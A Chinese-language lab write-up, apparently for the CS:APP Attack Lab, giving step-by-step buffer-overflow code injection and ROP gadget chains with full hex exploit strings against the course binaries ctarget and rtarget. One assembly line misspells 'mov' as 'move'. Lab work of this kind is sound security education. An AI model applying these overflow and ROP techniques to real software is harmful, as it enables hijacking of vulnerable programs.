ctarget
level1
(1)使用objdump -d ctarget > my_ctarget.txt导出汇编指令集文件。
(2)查找getbuf函数,确定缓冲区大小为0x18(24)字节。
(3)查找touch1函数地址,确定目标地址为0x401eae。
(4)构建攻击字符串“缓冲区填充字段+touch1地址”。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ae 1e 40 00 00 00 00 00#touch1
level2
(1)使用cat cookie.txt查看cookie参数。
0x1c0096e1
(2)使用nano inject.s编辑攻击指令。
move $0x1c0096e1,%edi#传递cookie参数
ret
PS:这里需要将cookie传入%edi。
(3)使用gcc -c inject.s汇编攻击指令,在objdump -d inject.o输出机器码。
(4)查找touch2函数地址。
(5)gdb ctarget调试程序,查找栈起始地址。
I、set environment LD_PRELOAD=./printf.so设置环境。
II、break getbuf设置断点。
III、ni/si运行到传递参数位置。
IV、x/80xb $rsp/p/x $rsp查看栈起始地址。
(6)构建攻击字符串。
bf e1 96 00 1c c3 00 00#攻击指令机器码
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 fb 63 55 00 00 00 00#栈起始地址
e2 1e 40 00 00 00 00 00#touch2地址
level3
(1)查找touch3函数地址。
(2)读取地址=0x5563fb88+0x18=0x5563fba0。
(3)使用nano inject2.s编辑攻击指令。
mov $0x5563fba0,%edi
ret
(4)汇编并输出攻击指令的机器码。
(5)构建攻击字符串。
bf a0 fb 63 55 c3 00 00#攻击指令
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 fb 63 55 00 00 00 00#栈起始地址
ff 1f 40 00 00 00 00 00#touch3地址
31 63 30 30 39 36 65 31#cookie的十六进制表示
00 00 00 00 00 00 00 00#字符串结尾’\0’且字节对齐
rtarget
ROP技术使用已有的汇编指令节构建自己的攻击指令。
PS:使用objdump -d rtarget>my_rtarget.txt导出rtarget的汇编指令文件。
level2
(1)构建攻击指令文件inject3.s,然后汇编和反编译获取机器码。
(2)在rtarget中查找攻击指令节。
I、58:4020ca
II、48 89 c7:4020bf
(3)构建攻击字符串。
00 00 00 00 00 00 00 00#缓冲区填充字段
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ca 20 40 00 00 00 00 00#pop %rax
e1 96 00 1c 00 00 00 00#cookie
bf 20 40 00 00 00 00 00#mov %rax,%rdi
e2 1e 40 00 00 00 00 00#touch2地址
level3
(1)构建攻击指令文件inject4.s,然后汇编和反编译获取机器码。
(2)在rtarget中查找攻击指令节。
I、58:4020ca
II、89 c2:402171
III、89 d1:4021df
IV、89 ce:402234
V、48 89 e0:402132
VI、48 89 c7:4020bf
VII、48 8d 04 37:402111
VIII、48 89 c7:4020bf
(3)构建攻击字符串。
00 00 00 00 00 00 00 00#缓冲区填充字段
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ca 20 40 00 00 00 00 00#pop %rax
20 00 00 00 00 00 00 00#0x18+0x8偏移量
71 21 40 00 00 00 00 00#mov %eax,%edx
df 21 40 00 00 00 00 00#mov %edx,%ecx
34 22 40 00 00 00 00 00#mov %ecx,%esi
32 21 40 00 00 00 00 00#mov %rsp,%rax
bf 20 40 00 00 00 00 00#mov %rax,%rdi
11 21 40 00 00 00 00 00#lea (%rdi,%rsi,1),%rax
bf 20 40 00 00 00 00 00#mov %rax,%rdi
ff 1f 40 00 00 00 00 00#touch3地址
31 63 30 30 39 36 65 31#cookie字符串十六进制
00 00 00 00 00 00 00 00#字符串以’\0’结尾且字节对齐